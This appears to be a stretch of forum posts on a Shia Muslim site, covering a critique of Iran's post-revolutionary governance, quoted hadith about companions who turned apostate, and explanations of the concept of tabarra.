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    • These are very important points and questions for the system at large. As we come closer to the 40 year mark of the Revolution, we have to ask whether Iran is a genuine Islamic alternative or a quasi eastern bloc. It is sensitive to offer any critique of the Iranian government, but the stakes are high and constructive criticism is necessary for improvement. We talk about Shahid as-Sadr's Iqtisaduna and "Islamic economics", but instead of experimenting with possible Islamic substitutes, Iran is pretty much a transition economy (from centralized to more neoliberal). We talk of Pahlavi corruption, but Iran's public sector is massively corrupt, and almost half of Iran's population is living in relative poverty. We talk of a religious society, but we see high rates of divorce, plummeting birth rates, women demanding massive dowers, men not paying dowers, unbelievable frivolity and decadence in Tehran, and younger Iranians leaving Islam altogether. We see a partial democracy, with a parliament and elections, but we also see hundreds of candidates sifted out through screening processes. Domestically, it's kind of a Frankenstein system, which takes the Western model, gives it a soft authoritarian spin, and adds a few Islamic judicial customs. We can ignore the foreign policy for now, which is its own topic, but even if we were to assume that its foreign policy has been entirely just, the primary concern of any country is the well-being of its people first, and that is what a constitution is for.
    • بسم الله الرحمن الرحیم السلام علیکم [Second and current] Constitution of the Islamic Republic of Iran و علیکم السلام
    • This is what the Prophet had to say about the sahaba: Narrated Ibn Al-Musaiyab:
      The companions of the Prophet (ﷺ) said, "Some men from my companions will come to my Lake-Fount and they will be driven away from it, and I will say, 'O Lord, my companions!' It will be said, 'You have no knowledge of what they innovated after you left: they turned apostate as renegades (reverted from Islam).
      Sahih al-Bukhari
      Book 81, Hadith 174
      https://sunnah.com/bukhari/81/174 Abu Huraira narrated that the Prophet (ﷺ) said:
      "On the Day of Resurrection a group of companions will come to me, but will be driven away from the Lake-Fount, and I will say, 'O Lord (those are) my companions!' It will be said, 'You have no knowledge as to what they innovated after you left; they turned apostate as renegades (reverted from Islam).
      Sahih al-Bukhari
      Book 81, Hadith 173
      https://sunnah.com/bukhari/81/173 Ibn 'Abbas narrated that the Messenger of Allah (s.a.w) said:
      "The people will be gathered on the Day of Resurrection bare-foot, naked and uncircumcised as they were created." Then he recited: "As we begin the first creation, we shall repeat it: A promise binding upon Us. Truly We shall do it. And the first of people to be clothed will be Ibrahim. Among my companions will be some men who are taken to the right and to the left. I will say: 'O my Lord! My companions!' It will be said: 'You do not know what they innovated after you, they continued to be apostates since you parted from them.' So I will say as the righteous worshipper said: If you punish them, they are your slaves, and if You forgive them, indeed You, only You are the Almighty, the All-Wise."
      Jami` at-Tirmidhi » Chapters on the description of the Day of Judgement, Ar-Riqaq, and Al-Wara'
      Vol. 4, Book 11, Hadith 2423
      https://sunnah.com/urn/677280 Narrated Ibn `Abbas:
      The Prophet (ﷺ) delivered a sermon and said, "You (people) will be gathered before Allah (on the Day of Resurrection) bare-footed, naked and uncircumcised." (The Prophet (ﷺ) then recited):-- 'As We began the first creation We shall repeat it. (It is) a promise We have undertaken and truly We shall do it.' and added, "The first man who will be dressed on the Day of Resurrection, will be Abraham. Lo! Some men from my followers will be brought and taken towards the left side, whereupon I will say, 'O Lord, (these are) my companions!' It will be said, 'You do not know what new things they introduced (into the religion) after you.' I will then say as the righteous pious slave, Jesus, said, 'I was a witness over them while I dwelt among them...(to His Statement)..and You are the Witness to all things.' (5.117) Then it will be said, '(O Muhammad) These people never stopped to apostate since you left them."
      Sahih al-Bukhari » Prophetic Commentary on the Qur'an (Tafseer of the Prophet (pbuh))
      Vol. 6, Book 60, Hadith 264
      https://sunnah.com/urn/44190 Narrted Ibn `Abbas:
      Allah's Messenger (ﷺ) said, "You will be resurrected (and assembled) bare-footed, naked and uncircumcised." The Prophet (ﷺ) then recited the Divine Verse:-- "As We began the first creation, We shall repeat it: A promise We have undertaken. Truly we shall do it." (21.104) He added, "The first to be dressed will be Abraham. Then some of my companions will take to the right and to the left. I will say: 'My companions! 'It will be said, 'They had been renegades since you left them.' I will then say what the Pious Slave Jesus, the son of Mary said: 'And I was a witness over them while I dwelt amongst them; when You did take me up, You were the Watcher over them, and You are a Witness to all things. If You punish them, they are Your slaves, and if you forgive them, You, only You are the All-Mighty the All-Wise.' " (5.117-118) Narrated Quaggas, "Those were the apostates who renegade from Islam during the Caliphate of Abu Bakr who fought them"
      Sahih al-Bukhari » Book of Prophets » Hadith
      Book 60, Hadith 117
      https://sunnah.com/bukhari/60/117 Narrated Ibn `Abbas:
      Allah's Messenger (ﷺ) delivered a sermon and said, "O people! You will be gathered before Allah barefooted, naked and not circumcised." Then (quoting Qur'an) he said:-- "As We began the first creation, We shall repeat it. A promise We have undertaken: Truly we shall do it.." (21.104) The Prophet (ﷺ) then said, "The first of the human beings to be dressed on the Day of Resurrection, will be Abraham. Lo! Some men from my followers will be brought and then (the angels) will drive them to the left side (Hell-Fire). I will say. 'O my Lord! (They are) my companions!' Then a reply will come (from Almighty), 'You do not know what they did after you.' I will say as the pious slave (the Prophet (ﷺ) Jesus) said: And I was a witness over them while I dwelt amongst them. When You took me up. You were the Watcher over them and You are a Witness to all things.' (5.117) Then it will be said, "These people have continued to be apostates since you left them."
      Sahih al-Bukhari » Prophetic Commentary on the Qur'an (Tafseer of the Prophet (pbuh))
      Vol. 6, Book 60, Hadith 149
      https://sunnah.com/urn/43040
    • One more thing Tabarra doesn't mean abusing or calling bad names. It's dissociating from the the wrong person. So to do Tabarra we have to dissociate from all wrong and corruption person. 
    • Brother mentioned something in his post. I'll respect his words  
    • The Tabarra is concept of Islam. Which conveys that curse of Allah on zalimeen, Munafiqeen and kazibeen. And this is  applicable on  universally on all  individual who do injustices be him muslim or non muslim and sunii or Shia. Now traditionally the way we used to practice Tabarra was more harming than benefitting Islam. So the mujtahids rightly corrected this practice. 
    • The Tabarra is concept of Islam. Which conveys that curse of Allah on zalimeen, Munafiqeen and kazibeen. And this is  applicable on  universally on all  individual who do injustices be him muslim or non muslim and sunii or Shia. Now traditionally the way we used to practice Tabarra was more harming than benefitting Islam. So the mujtahids rightly corrected this practice.